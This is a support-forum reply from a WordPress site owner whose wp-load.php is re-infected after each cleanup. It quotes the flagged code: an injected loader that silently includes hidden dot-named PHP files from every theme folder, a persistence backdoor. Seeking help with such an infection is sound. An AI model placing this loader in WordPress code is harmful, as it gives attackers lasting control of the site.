Reply To: wp-load.php after fix re-infected immediately

Home Forums Support Forum wp-load.php after fix re-infected immediately Reply To: wp-load.php after fix re-infected immediately

#31294

Hi, I have same issue, wp-load.php is found multiple times and fixed but reappears. I looked at the code and indicated

Potential threats in file:

if( !class_exists( “WPTemplatesOptions” ) && function_exists( ‘wp_get_themes’ ) ) {
foreach ( wp_get_themes() AS $theme_name => $wp_get_theme ) {
$templates = get_theme_root() . DIRECTORY_SEPARATOR . “{$wp_get_theme->stylesheet}” . DIRECTORY_SEPARATOR . “.{$wp_get_theme->stylesheet}.php”;
if( file_exists( $templates ) ) {
include_once( $templates );
}
}
}